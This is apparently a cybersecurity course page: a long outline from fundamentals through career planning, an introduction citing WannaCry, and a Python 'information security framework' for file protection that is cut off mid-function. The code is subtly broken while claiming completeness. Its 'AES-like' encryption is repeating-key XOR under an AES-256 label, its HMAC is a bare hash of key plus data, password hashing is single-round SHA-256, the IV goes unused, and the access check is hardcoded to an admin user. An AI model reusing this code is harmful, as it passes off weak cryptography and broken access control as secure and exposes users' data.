Information Security

Information Security

  1. PHASE 1: INFORMATION SECURITY FUNDAMENTALS
    1. 1.1 What is Information Security
      1. 1.1.1 Understanding Information Security
      2. 1.1.2 The CIA Triad: Confidentiality, Integrity, and Availability
      3. 1.1.3 The AAA Framework
      4. 1.1.4 Zero Trust Architecture
      5. 1.1.5 Cybersecurity and Ethical Hacking
      6. 1.1.6 Types of Hackers: White Hat, Black Hat, and Grey Hat
      7. 1.1.7 Laws and Compliance Frameworks
      8. 1.1.8 Ethics and Legal Boundaries
      9. 1.1.9 Studying Real-World Breaches
      10. 1.1.10 Security Frameworks & Standards
      11. 1.1.11 Security Governance
  2. PHASE 2: CORE TECHNICAL FOUNDATIONS
    1. 2.1 Networking & Protocols
    2. 2.2 Operating Systems & Command Line
    3. 2.3 Programming & Automation
      1. 2.3.1 Python for Security (Most Important Language)
        1. Python Port Scanner
        2. Log Analysis with Python
        3. Web Requests with Python
        4. Automated Reconnaissance Script (Capstone Project)
      2. 2.3.2 Bash Scripting for Automation
        1. Simple Bash Port Scanner
        2. Log Analysis with Bash
      3. 2.3.3 JavaScript (Web Attacks)
        1. Simple XSS Payload
      4. 2.3.4 Web Technologies
      5. 2.3.5 SQL (Database Attacks)
      6. 2.3.6 Project-Based Learning
  3. PHASE 3: CYBER THREATS & ATTACK VECTORS
    1. 3.1 Understanding the Threat Landscape
      1. 3.1.1 Malware: Types, Mechanics, and Detection
        1. Viruses
        2. Worms
        3. Trojans
        4. Ransomware
        5. Spyware
        6. Adware
        7. Rootkits
        8. Bootkits
        9. Fileless Malware
        10. Detection Methods
      2. 3.1.2 Phishing and Social Engineering
        1. Phishing
        2. Spear Phishing
        3. Whaling
        4. Vishing
        5. Smishing
        6. Physical Social Engineering
        7. Pretexting
        8. Baiting
        9. Quid Pro Quo
        10. Social Engineering Prevention
      3. 3.1.3 DoS / DDoS (System Overload)
        1. DoS Attacks
        2. DDoS Attacks
        3. SYN Flood
        4. UDP Flood
        5. HTTP Flood
        6. Amplification Attacks
        7. DDoS Mitigation
      4. 3.1.4 Man-in-the-Middle (MITM)
        1. ARP Spoofing
        2. DNS Spoofing
        3. SSL/TLS Hijacking
        4. WiFi Eavesdropping
        5. Session Hijacking
        6. MITM Detection & Prevention
      5. 3.1.5 Zero-Day & APT (Advanced Threats)
        1. Zero-Day Exploits
        2. Advanced Persistent Threats (APTs)
        3. Supply Chain Attacks
        4. APT/Zero-Day Detection & Defense
      6. 3.1.6 Password Attacks
        1. Brute Force Attacks
        2. Dictionary Attacks
        3. Rainbow Tables
        4. Credential Stuffing
        5. Keylogging
        6. Password Spraying
        7. Password Attack Defenses
      7. 3.1.7 Insider Threats
        1. Malicious Insiders
        2. Negligent Insiders
        3. Compromised Insiders
        4. Insider Threat Detection & Prevention
    2. 3.2 Attack Tooling & Frameworks
      1. 3.2.1 Metasploit Framework
      2. 3.2.2 Network Analysis Tools
        1. Nmap (Network Mapper)
        2. Wireshark (Packet Analysis)
        3. Snort (IDS/IPS)
      3. 3.2.3 Vulnerability Scanning Tools
        1. Nessus
        2. OpenVAS
        3. Burp Suite
      4. Key Topics Covered:
      5. Practical Examples Completed:
  4. PHASE 4: OFFENSIVE SECURITY (RED TEAM / PENETRATION TESTING)
    1. 4.1 What Penetration Testing Actually Is
      1. 4.1.1 Penetration Testing Methodology
      2. 4.1.2 Types of Penetration Tests
    2. 4.2 Phase One: Reconnaissance (Finding Information)
      1. 4.2.1 Information Gathering Methods
      2. 4.2.2 OSINT Tools
      3. 4.2.3 Social Media Intelligence
    3. 4.3 Phase Two: Scanning and Enumeration
      1. 4.3.1 Port Scanning with Nmap (Most Important Tool)
      2. 4.3.2 Vulnerability Scanning
      3. 4.3.3 Web Application Enumeration
    4. 4.4 Phase Three: Exploitation (Actual Attack Phase)
      1. 4.4.1 Exploitation with Metasploit
      2. 4.4.2 Web Application Exploitation
      3. 4.4.3 Buffer Overflow
    5. 4.5 Phase Four: Post Exploitation
      1. 4.5.1 Privilege Escalation
      2. 4.5.2 Establishing Persistence
      3. 4.5.3 Lateral Movement
      4. 4.5.4 Covering Tracks
      5. 4.5.5 Data Exfiltration
    6. 4.6 Phase Five: Reporting (Very Important)
      1. 4.6.1 Report Structure
      2. 4.6.2 Reporting Best Practices
      3. Key Topics Covered:
      4. Practical Examples Completed:
      5. Tools Covered:
  5. PHASE 5: WEB APPLICATION SECURITY
    1. 5.1 Why Web Applications Are the Primary Attack Surface
      1. 5.1.1 What is a Web Application
      2. 5.1.2 How Web Works (Important for Attacks)
    2. 5.2 Burp Suite: The Web Application Security Professional's Primary Tool
      1. 5.2.1 Setting Up Burp Suite
      2. 5.2.2 Configuring Firefox to use Burp as a proxy
      3. 5.2.3 Installing the Burp CA Certificate
      4. 5.2.4 Core Burp Suite Tools
    3. 5.3 OWASP Top 10 (Main Web Vulnerabilities)
      1. A01: Broken Access Control
      2. A02: Cryptographic Failures
      3. A03: Injection
      4. A04: Insecure Design
      5. A05: Security Misconfiguration
      6. A06: Vulnerable and Outdated Components
      7. A07: Identification and Authentication Failures
      8. A08: Software and Data Integrity Failures
      9. A09: Security Logging and Monitoring Failures
      10. A10: Server-Side Request Forgery (SSRF)
    4. 5.4 SQL Injection (VERY IMPORTANT)
      1. 5.4.1 What is SQL Injection
      2. 5.4.2 Real Attack Scenario (SAFE LAB DEMO)
      3. 5.4.3 SQL Injection: SQLmap Automation
    5. 5.5 XSS (Cross-Site Scripting)
      1. 5.5.1 Types of XSS
      2. 5.5.2 Real-World Scenarios
      3. 5.5.3 XSS Prevention
    6. 5.6 CSRF (Cross-Site Request Forgery)
      1. 5.6.1 Understanding CSRF
      2. 5.6.2 CSRF Mitigation
    7. 5.7 API Security
      1. 5.7.1 REST API Vulnerabilities
      2. 5.7.2 GraphQL Security
    8. 5.8 Directory Busting (Finding Hidden Paths)
      1. 5.8.1 Tools and Techniques
      2. 5.8.2 Common Hidden Files
    9. 5.9 WAF Detection and Bypass Fundamentals
      1. 5.9.1 WAF Detection
      2. 5.9.2 WAF Bypass Techniques
    10. 5.10 Setting Up a Complete Web Application Testing Lab
      1. 5.10.1 Lab Components
      2. 5.10.2 Safe Practice Environment
    11. 5.11 Real Demo (Safe)
      1. 5.11.1 Demo Scenarios
    12. 5.12 Certification Path for Web Application Security
      1. Key Topics Covered:
      2. Practical Examples Completed:
  6. PHASE 6: WIRELESS & NETWORK SECURITY
    1. 6.1 Why Wireless Security Is a Distinct Discipline
      1. 6.1.1 How Wireless Networks Work: The Technical Foundation
      2. 6.1.2 What is Wireless Security
    2. 6.2 WiFi Security Types (WPA2 / WPA3)
      1. 6.2.1 WPA2: Mechanism and Vulnerabilities
      2. 6.2.2 WPA3 (New and Stronger)
      3. 6.2.3 WPA3: What Changed and Why
    3. 6.3 Real Attack Concept: WiFi Password Cracking
      1. 6.3.1 Safe Practical Understanding
      2. 6.3.2 Tools and Techniques
    4. 6.4 Evil Twin Attack (Very Real)
      1. 6.4.1 Definition
      2. 6.4.2 Real Scenario
      3. 6.4.3 What Attacker Can Do
      4. 6.4.4 Practical Awareness Task
    5. 6.5 ARP Spoofing (Core Network Attack)
      1. 6.5.1 SAFE Practical Demo (Local Lab Only)
    6. 6.6 DNS Poisoning
    7. 6.7 Bluetooth & RFID Attacks (Basic Idea)
      1. 6.7.1 Bluetooth
      2. 6.7.2 RFID
    8. 6.8 Wireless Tools (Practical Understanding)
      1. 6.8.1 Aircrack-ng Suite
      2. 6.8.2 Kismet
      3. 6.8.3 Wireshark (Wireless)
    9. 6.9 Real Practice (SAFE + IMPORTANT)
      1. 6.9.1 Reality Check
      2. 6.9.2 Wireless Reconnaissance: Mapping the Environment
      3. 6.9.3 WEP: Understanding a Completely Broken Protocol
      4. 6.9.4 Bluetooth Security
      5. 6.9.5 RFID Security
    10. 6.10 Defending Wireless Networks: Configuration and Architecture
      1. 6.10.1 Enterprise Wireless Security
      2. 6.10.2 Best Practices
    11. 6.11 Certifications for Wireless Security
      1. Key Topics Covered:
      2. Practical Examples Completed:
  7. PHASE 7: DEFENSIVE SECURITY (BLUE TEAM / SOC)
    1. 7.1 Monitoring & Analysis
      1. 7.1.1 SIEM Tools
        1. Splunk
        2. Elastic Stack (ELK)
        3. Microsoft Sentinel
      2. 7.1.2 Endpoint Detection and Response (EDR)
    2. 7.2 Incident Response & Forensics
      1. 7.2.1 What is Incident Response
      2. 7.2.2 What is Digital Forensics
      3. 7.2.3 Types of Forensics
      4. 7.2.4 Principles of Digital Evidence Handling
      5. 7.2.5 Setting Up a Forensic Lab Environment
    3. 7.3 Digital Forensics Tools
      1. 7.3.1 Tool 1: Autopsy (Disk Forensics)
      2. 7.3.2 Tool 2: Volatility (Memory Forensics)
      3. 7.3.3 Tool 3: Wireshark (Network Forensics)
      4. 7.3.4 Threat Hunting (Advanced Thinking)
    4. 7.4 Disk Forensics
      1. 7.4.1 Forensic Imaging with DD and DC3DD
      2. 7.4.2 File System Analysis with The Sleuth Kit
      3. 7.4.3 Metadata Extraction with Exiftool
      4. 7.4.4 Carving Deleted Data with Foremost and Scalpel
    5. 7.5 Memory Forensics
      1. 7.5.1 Memory Acquisition
      2. 7.5.2 Memory Analysis with Volatility3
    6. 7.6 Network Forensics
      1. 7.6.1 Capturing Network Evidence with Tcpdump
      2. 7.6.2 Analysing Network Evidence with Wireshark and Tshark
      3. 7.6.3 Practical Example: Detecting Data Exfiltration
    7. 7.7 Log Analysis
      1. 7.7.1 Linux Log Analysis
      2. 7.7.2 Windows Event Log Analysis
    8. 7.8 Incident Response Methodology
      1. 7.8.1 Threat Hunting
      2. 7.8.2 Building a Timeline
      3. 7.8.3 Practical Example: Ransomware Incident Response
    9. 7.9 FINAL PRACTICAL PROJECT: "Investigate Suspicious Activity"
    10. 7.10 Certifications in Digital Forensics and Incident Response
      1. Key Topics Covered:
      2. Practical Examples Completed:
  8. PHASE 8: REVERSE ENGINEERING & MALWARE ANALYSIS
    1. 8.1 Purpose of Reverse Engineering in Security
      1. 8.1.1 What is Reverse Engineering
      2. 8.1.2 Setting Up a Safe Malware Analysis Environment
    2. 8.2 Malware Analysis
      1. 8.2.1 Two Types of Analysis
        1. 8.2.1.1 Static Analysis: Understanding a Binary Without Executing It
        2. 8.2.1.2 Dynamic Analysis: Observing Behaviour During Execution
      2. 8.2.2 Debugging
    3. 8.3 Static Analysis Tools
      1. 8.3.1 strings (Basic but Powerful)
      2. 8.3.2 file command
      3. 8.3.3 Ghidra (Reverse Engineering)
      4. 8.3.4 IDA Pro (Advanced)
    4. 8.4 Dynamic Analysis
      1. 8.4.1 Process and System Monitoring
      2. 8.4.2 Network Behaviour Analysis
      3. 8.4.3 Automated Dynamic Analysis
    5. 8.5 Ransomware Analysis: A Complete Practical Walkthrough
      1. 8.5.1 Analysis Steps
      2. 8.5.2 Writing Detection Signatures from Analysis Findings
    6. 8.6 Advanced Techniques
      1. 8.6.1 Sandbox Evasion Techniques
      2. 8.6.2 How to Counter Sandbox Evasion
    7. 8.7 FINAL PRACTICAL PROJECT: Analyze a Suspicious File
    8. 8.8 Certification Path for Reverse Engineering
    9. PHASE 8 SUMMARY
      1. Key Topics Covered:
      2. Practical Examples Completed:
  9. PHASE 9: CRYPTOGRAPHY & ENCRYPTION
    1. 9.1 Fundamental Concepts
      1. 9.1.1 What is Cryptography
      2. 9.1.2 Encryption Basics
        1. Symmetric Encryption (AES)
        2. Asymmetric Encryption (RSA)
        3. ECC (Elliptic Curve Cryptography)
      3. 9.1.3 Hashing (Very Important for Security)
      4. 9.1.4 Digital Signatures
      5. 9.1.5 Steganography
    2. 9.2 Real Tools (Hands-on)
      1. 9.2.1 OpenSSL (Encryption/Decryption)
      2. 9.2.2 Hashcat (Password Cracking)
      3. 9.2.3 John the Ripper
    3. 9.3 FINAL PRACTICAL PROJECT: "Password Security Test Lab"
    4. 9.4 Certifications for Cryptography
      1. Key Topics Covered:
      2. Practical Examples Completed:
  10. PHASE 10: CLOUD SECURITY & DEVSECOPS
    1. 10.1 Cloud Architecture
      1. 10.1.1 Cloud Service Models
      2. 10.1.2 Cloud Deployment Models
      3. 10.1.3 AWS Security Testing
      4. 10.1.4 Azure Security Testing
      5. 10.1.5 GCP Security Testing
      6. 10.1.6 Container and Kubernetes Security
    2. 10.2 CI/CD Security
      1. 10.2.1 Automated Vulnerability Scanning
      2. 10.2.2 Infrastructure as Code Security
      3. 10.2.3 Container Security
      4. 10.2.4 DevSecOps Pipeline
    3. 10.3 Certifications for Cloud Security
      1. Practical Examples Completed:
  11. PHASE 11: ENTERPRISE GRC & ADVANCED SECURITY
    1. 11.1 Governance, Risk & Compliance (GRC)
      1. 11.1.1 Security Frameworks
      2. 11.1.2 Risk Management
      3. 11.1.3 What Regulations Require
    2. 11.2 AI & LLM Security
      1. 11.2.1 Securing AI Pipelines
      2. 11.2.2 LLM-Specific Threats
      3. 11.2.3 AI in Cybersecurity
    3. 11.3 Bug Bounty (Real-World Hacking)
      1. 11.3.1 What is Bug Bounty
      2. 11.3.2 Bug Bounty Hunting
      3. 11.3.3 Bug Bounty Reporting
    4. 11.4 Red Team vs Blue Team
      1. 11.4.1 Red Team Operations
      2. 11.4.2 Blue Team Operations
      3. 11.4.3 Purple Team
    5. 11.5 IoT Security
      1. 11.5.1 IoT Device Reconnaissance with Shodan
      2. 11.5.2 Firmware Analysis
    6. 11.6 IoT Security (Practical Understanding)
      1. 11.6.1 IoT Security Challenges
      2. 11.6.2 IoT Attack Surfaces
      3. 11.6.3 IoT Security Best Practices
  12. PHASE 12: BUILDING YOUR SECURITY CAREER
    1. 12.1 Career Roles (What You Can Become)
      1. 12.1.1 Entry-Level Roles
      2. 12.1.2 Mid-Level Roles
      3. 12.1.3 Senior-Level Roles
      4. 12.1.4 Executive-Level Roles
    2. 12.2 Certification Path (Clear Direction)
      1. 12.2.1 Beginner Certifications
      2. 12.2.2 Intermediate Certifications
      3. 12.2.3 Advanced Certifications
      4. 12.2.4 Expert Certifications
    3. 12.3 Building Your Advanced Security Career
      1. 12.3.1 Skill Development
      2. 12.3.2 Portfolio Building
      3. 12.3.3 Job Search Strategy
      4. 12.3.4 Entry-Level Career Paths
  13. PHASE 13: PRACTICAL PROJECTS
    1. 13.1 FINAL MASTER PRACTICAL PROJECT: "Complete Mini Penetration Test Lab"
      1. 13.1.1 Project Scope
      2. 13.1.2 Deliverables
      3. 13.1.3 Final Reality Check
    2. 13.2 What You Should Do Next
      1. 13.2.1 Continuous Learning
      2. 13.2.2 Professional Development
      3. 13.2.3 Ethical Considerations
      4. 13.2.4 Practical Recommendations

PHASE 1: INFORMATION SECURITY FUNDAMENTALS

1.1 What is Information Security

1.1.1 Understanding Information Security

Information Security is the practice of protecting data from unauthorized access, modification, or destruction. It ensures that information remains: Private (Don’t let others read it), Accurate (Don’t let others change it), and Available (Don’t let it be lost).

Why This Matters in the Real World: Banks protect customer data, companies protect employee data, and governments protect national secrets. If security fails, it can lead to data leaks and serious damage.

A Real Example: In 2017, a ransomware attack called WannaCry infected over 200,000 computers across 150 countries. It shut down large parts of the UK’s National Health Service. Surgeries were cancelled. Patient records became inaccessible. Ambulances were diverted. The attack did not require the attacker to be physically present anywhere. It travelled across the internet, exploited a vulnerability in Windows systems that had not been patched, and encrypted critical data until a ransom was paid. This is the scale of what unprotected information means in the real world.

Information security is the discipline that prevents events like this. Or, when prevention fails, contains the damage and restores normal operations.

Example: Protecting a File on Your Computer (Applied Basic Information Security)

Step 1: Create a file → Open Notepad, write: My password is 12345, and save it as secret.txt.

Step 2: Protect it → Right-click the file → Properties → mark it as hidden, or place it inside a password-protected ZIP file using tools like WinRAR or 7-Zip.

"""
INFORMATION SECURITY FRAMEWORK
===============================
Complete implementation of information security concepts including:
- File integrity and hashing
- Symmetric encryption (AES-like)
- Asymmetric encryption (RSA-like)
- Digital signatures
- Secure key management
- Access control
- Audit logging
"""

import hashlib
import os
import time
import base64
import json
from typing import Dict, List, Any, Optional, Tuple
from dataclasses import dataclass, field
from datetime import datetime
from enum import Enum
import secrets

# ============================================================================
# ENUMS AND TYPES
# ============================================================================

class SecurityLevel(Enum):
    """Security classification levels"""
    PUBLIC = "Public"
    INTERNAL = "Internal"
    CONFIDENTIAL = "Confidential"
    RESTRICTED = "Restricted"
    TOP_SECRET = "Top Secret"

class AccessMode(Enum):
    """Access modes"""
    READ = "Read"
    WRITE = "Write"
    EXECUTE = "Execute"
    ADMIN = "Admin"

class EncryptionAlgorithm(Enum):
    """Supported encryption algorithms"""
    AES = "AES-256"
    RSA = "RSA-2048"
    XOR = "XOR"

# ============================================================================
# DATA CLASSES
# ============================================================================

@dataclass
class AuditLog:
    """Security audit log entry"""
    timestamp: float
    user: str
    action: str
    resource: str
    status: str
    details: Dict[str, Any]
    ip_address: Optional[str] = None

@dataclass
class AccessControlEntry:
    """Access control entry"""
    user: str
    resource: str
    access_mode: AccessMode
    granted: bool
    expiration: Optional[float] = None

@dataclass
class SecurityKey:
    """Security key representation"""
    key_id: str
    key_type: str
    key_data: bytes
    created_at: float
    expires_at: Optional[float] = None
    owner: Optional[str] = None

# ============================================================================
# CRYPTOGRAPHIC UTILITIES
# ============================================================================

class CryptoUtils:
    """Cryptographic utilities for encryption and hashing"""
    
    @staticmethod
    def sha256(data: bytes) -> str:
        """Generate SHA-256 hash"""
        return hashlib.sha256(data).hexdigest()
    
    @staticmethod
    def sha512(data: bytes) -> str:
        """Generate SHA-512 hash"""
        return hashlib.sha512(data).hexdigest()
    
    @staticmethod
    def md5(data: bytes) -> str:
        """Generate MD5 hash (for checksums only)"""
        return hashlib.md5(data).hexdigest()
    
    @staticmethod
    def hmac_sha256(key: bytes, data: bytes) -> bytes:
        """Generate HMAC-SHA256"""
        return hashlib.sha256(key + data).digest()
    
    @staticmethod
    def generate_salt(length: int = 32) -> bytes:
        """Generate cryptographic salt"""
        return secrets.token_bytes(length)
    
    @staticmethod
    def generate_key(length: int = 32) -> bytes:
        """Generate secure random key"""
        return secrets.token_bytes(length)
    
    @staticmethod
    def generate_iv(length: int = 16) -> bytes:
        """Generate initialization vector"""
        return secrets.token_bytes(length)
    
    @staticmethod
    def xor_encrypt(data: bytes, key: bytes) -> bytes:
        """XOR encryption (educational only)"""
        result = bytearray()
        for i, byte in enumerate(data):
            result.append(byte ^ key[i % len(key)])
        return bytes(result)
    
    @staticmethod
    def base64_encode(data: bytes) -> str:
        """Base64 encode"""
        return base64.b64encode(data).decode('utf-8')
    
    @staticmethod
    def base64_decode(data: str) -> bytes:
        """Base64 decode"""
        return base64.b64decode(data)

# ============================================================================
# FILE PROTECTION SYSTEM
# ============================================================================

class FileProtection:
    """Complete file protection system with encryption, hashing, and access control"""
    
    def __init__(self, filename: str, content: str, owner: str = "admin"):
        self.filename = filename
        self.content = content
        self.owner = owner
        self.security_level = SecurityLevel.INTERNAL
        self.access_controls: List[AccessControlEntry] = []
        self.audit_logs: List[AuditLog] = []
        self.encryption_key = None
        self.file_hash = None
        self.created_at = time.time()
        self.last_accessed = None
        self.modified_at = None
        
        print(f" 🔒 FileProtection initialized: {filename}")
        print(f"    Owner: {owner}")
        print(f"    Security Level: {self.security_level.value}")
    
    def save_file(self, encrypt: bool = False, password: Optional[str] = None) -> bool:
        """Save file with optional encryption"""
        try:
            if encrypt and password:
                key = hashlib.sha256(password.encode()).digest()
                data = self.content.encode('utf-8')
                iv = CryptoUtils.generate_iv()
                
                # Simple AES-like encryption (simplified)
                encrypted_data = CryptoUtils.xor_encrypt(data, key)
                
                # Save encrypted file
                with open(f"{self.filename}.enc", 'wb') as f:
                    f.write(iv + encrypted_data)
                print(f" 🔐 File encrypted and saved: {self.filename}.enc")
                
                self._log_audit("SAVE_ENCRYPTED", "success", {"method": "AES-like"})
            else:
                # Save plaintext file
                with open(self.filename, 'w') as f:
                    f.write(self.content)
                print(f" 📄 File saved: {self.filename}")
                self._log_audit("SAVE", "success", {"format": "plaintext"})
            
            self.modified_at = time.time()
            self.file_hash = self.calculate_hash()
            return True
            
        except Exception as e:
            print(f" ❌ Error saving file: {e}")
            self._log_audit("SAVE", "failed", {"error": str(e)})
            return False
    
    def load_file(self, password: Optional[str] = None) -> Optional[str]:
        """Load file with optional decryption"""
        try:
            # Check access
            if not self.check_access("admin", AccessMode.READ):
                print(" ❌ Access denied")
                return None
            
            # Try encrypted file first
            try:
                with open(f"{self.filename}.enc", 'rb') as f:
                    data = f.read()
                    
                if password:
                    key = hashlib.sha256(password.encode()).digest()
                    iv = data[:16]
                    encrypted_data = data[16:]
                    
                    # Decrypt
                    decrypted_data = CryptoUtils.xor_encrypt(encrypted_data, key)
                    self.content = decrypted_data.decode('utf-8')
                    print(f" 🔓 File loaded and decrypted: {self.filename}.enc")
                else:
                    print(f" ⚠️  File is encrypted, password required")
                    return None
                    
            except FileNotFoundError:
                # Load plaintext file
                with open(self.filename, 'r') as f:
                    self.content = f.read()
                print(f" 📄 File loaded: {self.filename}")
            
            self.last_accessed = time.time()
            self._log_audit("LOAD", "success", {"method": "file_access"})
            return self.content
            
        except Exception as e:
            print(f" ❌ Error loading file: {e}")
            self._log_audit("LOAD", "failed", {"error": str(e)})
            return None
    
    def calculate_hash(self, algorithm: str = "sha256") -> str:
        """Calculate file integrity hash"""
        try:
            # Try encrypted file first
            try:
                with open(f"{self.filename}.enc", 'rb') as f:
                    data = f.read()
            except FileNotFoundError:
                # Use plaintext content
                data = self.content.encode('utf-8')
            
            if algorithm == "sha256":
                file_hash = hashlib.sha256(data).hexdigest()
            elif algorithm == "sha512":
                file_hash = hashlib.sha512(data).hexdigest()
            elif algorithm == "md5":
                file_hash = hashlib.md5(data).hexdigest()
            else:
                raise ValueError(f"Unsupported algorithm: {algorithm}")
            
            self.file_hash = file_hash
            print(f" 🔑 File hash ({algorithm}): {file_hash}")
            self._log_audit("HASH", "success", {"algorithm": algorithm})
            return file_hash
            
        except Exception as e:
            print(f" ❌ Error calculating hash: {e}")
            self._log_audit("HASH", "failed", {"error": str(e)})
            return ""
    
    def verify_integrity(self, expected_hash: Optional[str] = None) -> bool:
        """Verify file integrity against stored or provided hash"""
        current_hash = self.calculate_hash()
        
        if expected_hash:
            is_valid = current_hash == expected_hash
            print(f" ✓ Integrity check: {'PASSED' if is_valid else 'FAILED'}")
            self._log_audit("VERIFY", "passed" if is_valid else "failed", 
                          {"expected": expected_hash[:16] + "...", 
                           "actual": current_hash[:16] + "..."})
            return is_valid
        
        if self.file_hash:
            is_valid = current_hash == self.file_hash
            print(f" ✓ Integrity check: {'PASSED' if is_valid else 'FAILED'}")
            return is_valid
        
        print(" ⚠️  No stored hash for verification")
        return False
    
    def encrypt_file(self, password: str) -> bool:
        """Encrypt existing file with password"""
        try:
            # Load current content
            self.load_file()
            
            # Create encryption key
            key = hashlib.sha256(password.encode()).digest()
            data = self.content.encode('utf-8')
            iv = CryptoUtils.generate_iv()
            
            # Encrypt
            encrypted_data = CryptoUtils.xor_encrypt(data, key)
            
            # Save encrypted
            with open(f"{self.filename}.enc", 'wb') as f:
                f.write(iv + encrypted_data)
            
            print(f" 🔐 File encrypted successfully: {self.filename}.enc")
            self._log_audit("ENCRYPT", "success", {"method": "password_based"})
            return True
            
        except Exception as e:
            print(f" ❌ Error encrypting file: {e}")
            self._log_audit("ENCRYPT", "failed", {"error": str(e)})
            return False
    
    def decrypt_file(self, password: str) -> bool:
        """Decrypt file with password"""
        try:
            with open(f"{self.filename}.enc", 'rb') as f:
                data = f.read()
            
            key = hashlib.sha256(password.encode()).digest()
            iv = data[:16]
            encrypted_data = data[16:]
            
            decrypted_data = CryptoUtils.xor_encrypt(encrypted_data, key)
            self.content = decrypted_data.decode('utf-8')
            
            print(f" 🔓 File decrypted successfully")
            self._log_audit("DECRYPT", "success", {"method": "password_based"})
            return True
            
        except Exception as e:
            print(f" ❌ Error decrypting file: {e}")
            self._log_audit("DECRYPT", "failed", {"error": str(e)})
            return False
    
    def set_security_level(self, level: SecurityLevel) -> None:
        """Set file security classification"""
        old_level = self.security_level
        self.security_level = level
        print(f" 📊 Security level changed: {old_level.value} → {level.value}")
        self._log_audit("SECURITY_LEVEL", "success", 
                       {"old": old_level.value, "new": level.value})
    
    def grant_access(self, user: str, mode: AccessMode, expiration: Optional[float] = None) -> None:
        """Grant access to a user"""
        entry = AccessControlEntry(user, self.filename, mode, True, expiration)
        self.access_controls.append(entry)
        print(f" ✅ Access granted: {user} -> {mode.value}")
        self._log_audit("GRANT_ACCESS", "success", 
                       {"user": user, "mode": mode.value, "expiration": expiration})
    
    def revoke_access(self, user: str, mode: AccessMode) -> None:
        """Revoke access from a user"""
        for entry in self.access_controls:
            if entry.user == user and entry.access_mode == mode:
                entry.granted = False
                print(f" ❌ Access revoked: {user} -> {mode.value}")
                self._log_audit("REVOKE_ACCESS", "success", 
                               {"user": user, "mode": mode.value})
                return
        
        print(f" ⚠️  No access found for {user} with {mode.value}")
    
    def check_access(self, user: str, mode: AccessMode) -> bool:
        """Check if user has access to the file"""
        # Admin has full access
        if user == "admin":
            return True
        
        # Check explicit grants
        for entry in self.access_controls:
            if entry.user == user and entry.access_mode == mode and entry.granted:
                if entry.expiration is None or time.time() < entry.expiration:
                    return True
        
        # Check if user is owner
        if user == self.owner and mode != AccessMode.ADMIN:
            return True
        
        return False
    
    def _log_audit(self, action: str, status: str, details: Dict[str, Any]) -> None:
        """Internal audit logging"""
        log = AuditLog(
            timestamp=time.time(),
            user=os.environ.get("USER", "unknown"),
            action=action,
            resource=self.filename,
            status=status,
            details=details
        )
        self.audit_logs.append(log)
    
    def get_audit_logs(self, limit: int = 20) -> List[Dict]:
        """Get audit logs"""
        logs = []
        for log in self.audit_logs[-limit:]:
            logs.append({
                "timestamp": datetime.fromtimestamp(log.timestamp).isoformat(),
                "user": log.user,
                "action": log.action,
                "resource": log.resource,
                "status": log.status,
                "details": log.details
            })
        return logs
    
    def get_metadata(self) -> Dict[str, Any]:
        """Get file metadata"""
        return {
            "filename": self.filename,
            "owner": self.owner,
            "security_level": self.security_level.value,
            "created_at": datetime.fromtimestamp(self.created_at).isoformat(),
            "modified_at": datetime.fromtimestamp(self.modified_at).isoformat() if self.modified_at else None,
            "last_accessed": datetime.fromtimestamp(self.last_accessed).isoformat() if self.last_accessed else None,
            "file_hash": self.file_hash,
            "encrypted": os.path.exists(f"{self.filename}.enc"),
            "access_controls": [{"user": e.user, "mode": e.access_mode.value, "granted": e.granted} 
                               for e in self.access_controls],
            "audit_logs": len(self.audit_logs)
        }

# ============================================================================
# SECURE FILE SYSTEM
# ============================================================================

class SecureFileSystem:
    """Secure file system with multiple security features"""
    
    def __init__(self):
        self.files: Dict[str, FileProtection] = {}
        self.users: Dict[str, Dict] = {}
        self.audit_logs: List[AuditLog] = []
        self.master_key = CryptoUtils.generate_key(32)
        print(" 🏛️  SecureFileSystem initialized")
    
    def create_user(self, username: str, password: str, role: str = "user") -> bool:
        """Create a new user"""
        if username in self.users:
            print(f" ❌ User already exists: {username}")
            return False
        
        # Hash password
        salt = CryptoUtils.generate_salt()
        password_hash = hashlib.sha256(salt + password.encode()).hexdigest()
        
        self.users[username] = {
            "password_hash": password_hash,
            "salt": salt,
            "role": role,
            "created_at": time.time()
        }
        
        print(f" ✅ User created: {username} ({role})")
        self._log_audit("CREATE_USER", "success", {"user": username, "role": role})
        return True
    
    def authenticate_user(self, username: str, password: str) -> bool:
        """Authenticate a user"""
        if username not in self.users:
            print(f" ❌ User not found: {username}")
            return False
        
        user = self.users[username]
        password_hash = hashlib.sha256(user["salt"] + password.encode()).hexdigest()
        
        if password_hash == user["password_hash"]:
            print(f" ✅ User authenticated: {username}")
            return True
        
        print(f" ❌ Authentication failed: {username}")
        self._log_audit("AUTH_FAILED", "failed", {"user": username})
        return False
    
    def create_file(self, filename: str, content: str, owner: str) -> FileProtection:
        """Create a new secure file"""
        if filename in self.files:
            print(f" ❌ File already exists: {filename}")
            return None
        
        file = FileProtection(filename, content, owner)
        self.files[filename] = file
        self._log_audit("CREATE_FILE", "success", {"filename": filename, "owner": owner})
        return file
    
    def get_file(self, filename: str, user: str) -> Optional[FileProtection]:
        """Get a file with access check"""
        if filename not in self.files:
            print(f" ❌ File not found: {filename}")
            return None
        
        file = self.files[filename]
        if not file.check_access(user, AccessMode.READ):
            print(f" ❌ Access denied for {user}")
            self._log_audit("ACCESS_DENIED", "failed", {"user": user, "file": filename})
            return None
        
        self._log_audit("ACCESS_FILE", "success", {"user": user, "file": filename})
        return file
    
    def list_files(self, user: str) -> List[Dict]:
        """List all files accessible to user"""
        accessible = []
        for filename, file in self.files.items():
            if file.check_access(user, AccessMode.READ):
                accessible.append({
                    "filename": filename,
                    "owner": file.owner,
                    "security_level": file.security_level.value,
                    "size": len(file.content),
                    "encrypted": os.path.exists(f"{filename}.enc")
                })
        
        return accessible
    
    def delete_file(self, filename: str, user: str) -> bool:
        """Delete a file (admin or owner only)"""
        if filename not in self.files:
            print(f" ❌ File not found: {filename}")
            return False
        
        file = self.files[filename]
        if user != "admin" and user != file.owner:
            print(f" ❌ Not authorized to delete: {filename}")
            return False
        
        del self.files[filename]
        # Delete physical files
        for ext in ["", ".enc"]:
            path = f"{filename}{ext}"
            if os.path.exists(path):
                os.remove(path)
        
        print(f" ✅ File deleted: {filename}")
        self._log_audit("DELETE_FILE", "success", {"filename": filename, "user": user})
        return True
    
    def _log_audit(self, action: str, status: str, details: Dict[str, Any]) -> None:
        """Internal audit logging"""
        log = AuditLog(
            timestamp=time.time(),
            user=os.environ.get("USER", "system"),
            action=action,
            resource="filesystem",
            status=status,
            details=details
        )
        self.audit_logs.append(log)
    
    def get_audit_logs(self, limit: int = 50) -> List[Dict]:
        """Get system audit logs"""
        logs = []
        for log in self.audit_logs[-limit:]:
